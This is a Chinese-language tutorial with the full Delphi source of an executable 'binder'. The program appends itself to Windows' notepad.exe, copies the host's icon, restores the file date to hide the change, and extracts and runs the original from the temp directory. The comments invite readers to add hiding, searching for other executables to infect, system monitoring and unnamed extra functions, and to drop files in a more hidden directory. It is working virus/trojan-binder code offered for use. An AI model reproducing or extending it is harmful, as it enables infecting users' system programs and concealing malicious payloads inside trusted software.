捆绑执行文件新思维

{最新功能：与其它程序捆绑后，图标为其它程序的图标   
这个示范程序没有form，编译、压缩后仅40K，运行后不长驻内存   
如果加上隐藏的窗体，加上搜索可执行程序的功能，加上监视系统的功能，加上 %$#@*^ 功能...   

程序中几个数字的确定：   
1 在本程序编译后用Aspack.Exe压缩,大小为41472   
2 经过分析，本程序在用Aspack.Exe压缩后，图标前面部分长40751，图标数据   
位于从第40752字节开始共640字节，图标后还有81字节   

与其它程序捆绑的过程：   
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部   

怎么找到图标的位置：   
将程序的图标设定为一个32*32的红色块，在程序经过编译、压缩后，用十六进制   
编辑软件载入，查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。   
十六进制编辑软件:常用UltraEdit。   
本人嫌它有日期限制，自编了一个，有十六进制编辑、比较、查找功能，并在不断完善中，对付几百K的文件没问题：   
http://guanbh.top263.net/download/hexedit.exe   
}   
program exe2;   

uses   
classes,   
Tlhelp32,   
windows,   
graphics,   
ShellAPI,   
SysUtils;   

{$R *.RES}   

var   
lppe:TProcessEntry32;   
found:boolean;   
handle:THandle;   
ProcessStr,ExeName:string;   
WinDir:pchar;   
const   
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}   

procedure copy2(s:string);   
var   
s1,s2,IcoStream:TMemoryStream;   
File2:TFilestream;   
ch:array[0..1] of char;   
ss:string;   
filetime,fhandle:integer;   
l:integer;   
File2Icon:Ticon;   
begin   
{若文件s不存在}   
if FileExists(s)=False then exit;   
try   
{若文件不含图标，就不捆绑}   
File2Icon:=Ticon.Create;   
l:=extracticon(handle,pchar(s),0);   
if l=0 then   
begin   
File2Icon.Free;   
exit;   
end   
else   
begin   
{提取被捆绑程序图标}   
File2Icon.Handle:=extracticon(handle,pchar(s),0);   
IcoStream:=TMemoryStream.Create;   
File2Icon.SaveToStream(IcoStream);   
File2Icon.Free;   
end;   
{判断文件s中有没有第2个程序头’MZ’。若有，表示已经合并过}   
File2:=TFilestream.Create(s,fmopenread);   
if File2.Size>MySize then   
begin   
File2.Position:=MySize;   
File2.Read(ch,2);   
ss:=copy(ch,1,2);   
if ss=’MZ’ then   
begin   
File2.Free;   
exit;   
end;   
end;   
File2.Free;   

{将本文件与文件s合并 本文件+s=s}   

s2:=TMemoryStream.Create;   
s2.loadfromfile(ExeName);   
s1:=TMemoryStream.Create;   

{ 加入本程序的前部40751字节   
第40752字节开始共640字节为图标数据   
!!以下数字 40751,81要根据实际情况修改!! }   
s1.copyfrom(s2,40751);   
{将图标换为被捆绑程序图标,图标大小为766}   
IcoStream.Position:=126;   
s1.CopyFrom(IcoStream,640);   
IcoStream.Free;   
s2.Position:=40751+640;   
{加入本程序的后部81字节}   
s1.CopyFrom(s2,81);   
s2.clear;   
s2.loadfromfile(s);   
s1.seek(s1.size,soFromBeginning);   
{加入被捆绑程序全部}   
s1.copyfrom(s2,s2.size);   
s2.free;   
{得到文件s的日期}   
fhandle:=FileOpen(s, fmOpenread);   
filetime:=filegetdate(fhandle);   
fileclose(fhandle);   
s1.SaveToFile(s);   
{恢复文件s的日期}   
fhandle:=FileOpen(s, fmOpenwrite);   
filesetdate(fhandle,filetime);   
fileclose(fhandle);   
s1.free;   
except end;   
end;   

procedure CreateFileAndRun;   
var   
s1,s2:TMemoryStream;   
TempDir:pchar;   
cmdstr:string;   
a:integer;   
Begin   
s1:=TMemoryStream.Create;   
s1.loadfromfile(ExeName);   
if s1.Size=MySize then   
begin   
s1.Free;   
exit;   
end;   
s1.seek(MySize,soFromBeginning);   
s2:=TMemoryStream.Create;   
s2.copyfrom(s1,s1.Size-MySize);   
GetMem(TempDir,255);   
GetTempPath(255,TempDir);   
try   

{ 把文件释放到临时目录。   
如果你不想让人看到在这个目录下释放了一堆文件，可改为其它更隐蔽的目录,   
如 c:/windows(or winnt)/d...(☆这是个什么目录?你去研究研究吧!☆) }   

s2.SaveToFile(TempDir+’/’+ExtractFileName(ExeName));   
except end;   
cmdstr:=’’;   
a:=1;   
while ParamStr(a)<>’’ do begin   
cmdstr:=cmdstr+ParamStr(a)+’ ’;   
inc(a);   
end;   
{运行真正的程序文件}   
winexec(pchar(TempDir+’/’+ExtractFileName(ExeName)+’ ’+cmdstr),SW_SHOW);   
freemem(TempDir);   
s2.free;   
s1.free;   
end;   

begin   
GetMem(WinDir,255);   
GetWindowsDirectory(WinDir,255);   
ExeName:=ParamStr(0);   
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);   
found:=Process32First(handle,lppe);   
ProcessStr:=’’;   
while found do   
begin   
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}   
found:=Process32Next(handle,lppe);   
end;   
{如果notepad没运行，就与它捆在一起}   
if pos(WinDir+’/notepad.exe’,ProcessStr)=0 then   
begin   
copy2(WinDir+’/notepad.exe’);   
end;   
{其它需要捆绑的文件   
if pos(...,ProcessStr)=0 then   
begin   
copy2(...);   
end;   
... }   
freemem(WinDir);   
{ 你想用这个程序干点其它的什么... }   
CreateFileAndRun;{释放文件并带参数运行}   
end.